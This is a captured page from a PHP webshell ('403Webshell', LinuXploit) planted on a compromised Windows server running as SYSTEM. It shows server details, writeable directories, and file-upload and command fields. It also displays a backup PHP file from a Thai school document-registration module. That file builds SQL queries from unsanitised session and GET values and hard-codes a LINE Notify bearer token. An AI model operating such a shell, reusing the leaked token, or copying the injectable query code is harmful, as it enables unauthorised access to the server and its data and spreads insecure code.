403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myoffice/2564_old/modules/tkk2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myoffice/2564_old/modules/tkk2/index5.php.bak
<TABLE cellSpacing=0 cellPadding=0 width=100% height="500"border=0>
      <TBODY>
        <TR>
          <TD vAlign=top>
     <BR>
<TABLE width="770" align=center cellSpacing=0 cellPadding=0 border=0>
<form action="?name=admin&file=tkk2&op=tkk2_del&action=multidel" name="myform" method="post">
 <table align=center width="770" cellspacing="2" cellpadding="1" background="images/1234.jpg">

<?
//	CheckUser($_SESSION['user_user']);
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
		$arr[user] = $db->fetch($res[user]);
//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[year] = $db->select_query("SELECT * FROM ".TB_YEARS_CAT." ORDER BY id DESC LIMIT 1 ");
		$arr[year] = $db->fetch($res[year]);
//แสดงบทความ
	$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
	$SUMPAGE = $db->num_rows(TB_TKK2,"id","category");
	$page=$_GET[page];
	if (empty($page)){
	$page=1;
}

$res[tkk2] = $db->select_query("SELECT * FROM ".TB_TKK2." WHERE year='".$arr[year][name]."' ORDER BY idtabain DESC LIMIT 1 ");
while($arr[tkk2] = $db->fetch($res[tkk2]))
	{
 if ($i%2==0) 
{
	?><tr bgcolor="#FFFFC6" class="unnamed1"><?
} else {
	?><tr bgcolor="#E6FEDE" class="unnamed2"><?
} ?>

			<tr>
   
     <td valign="top"><center><A HREF="popup.php?name=tkk2&file=addarea&op=tkk2_add" onClick="return hs.htmlExpand(this, { contentId: 'highslide-html', objectType: 'iframe', objectWidth: 900, objectHeight: 800} )" class="highslide"></center>
	 <div align=center><b>เลขทะเบียนรับ : <?=$arr[tkk2][idtabain];?><BR>|<A HREF="?name=tkk2&file=addgroup&op=tkk2_add"><font color="#ff0000">ลงรับหนังสือภายนอก</FONT></a>|
	 </b></div><br>
	 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<B>เลขทะเบียน : </B> <?echo $arr[tkk2][tabain];?> &nbsp;&nbsp;<B>ลงวันที่</B> <?echo "".thai_date_fullmonth(strtotime($arr[tkk2][date])."" );?><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<B>เรื่อง&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:</B> <?echo $arr[tkk2][topic];?>
<BR>
	 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<B>จาก&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:</B> <?=$arr[tkk2][school];?>
<BR>
	 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<B>ถึงกลุ่ม :</B> 
		<?
	$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
	$res[group] = $db->select_query("SELECT * FROM ".TB_WORKING_CAT." WHERE id='".$arr[tkk2][group_ska]."'  ");
	$arr[group] = $db->fetch($res[group]);

?>

<?php

$sql = "SELECT * FROM web_tkk2";
$result123 = $conn->query($sql);

$lineapi = "LWHUtjGssjORDjWc7tiWVSmkLyq8D5EbFfE7HKzV4Si";

date_default_timezone_set("Asia/Bangkok");
$chOne = curl_init();
curl_setopt( $chOne, CURLOPT_URL, "https://notify-api.line.me/api/notify");
curl_setopt( $chOne, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt( $chOne, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt( $chOne, CURLOPT_POST, 1); 

// Message

curl_setopt( $chOne, CURLOPT_POSTFIELDS, "message=\n $_POST[TOPIC] \n %E0%B8%8A%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%9C%E0%B8%B9%E0%B9%89%E0%B8%AA%E0%B9%88%E0%B8%87 \n $topic");
curl_setopt( $chOne, CURLOPT_FOLLOWLOCATION, 1);
$headers = array( 'Content-type: application/x-www-form-urlencoded', 'Authorization: Bearer '.$lineapi.'', );
curl_setopt($chOne, CURLOPT_HTTPHEADER, $headers);
curl_setopt( $chOne, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec( $chOne );
if(curl_error($chOne)) { echo 'error:' . curl_error($chOne); }
else { $result_ = json_decode($result, true);
//echo "status : ".$result_['status']; echo "message : ". $result_['message']; 
}
curl_close( $chOne );

?>


	<? echo $arr[group][category_name];?>
	 </td>
</TR>
	<?
$count++;
if (($count%1) == 0) { echo ""; $count=0; }
}
$db->closedb ();
//จบการแสดงข่าวสาร


?> 
				</table>

 </form>		</TR></TD></TABLE>
				
			<!-- End tkk2 -->
		  </TD>
        </TR>
      </TBODY>
    </TABLE>

Youez - 2016 - github.com/yon3zu
LinuXploit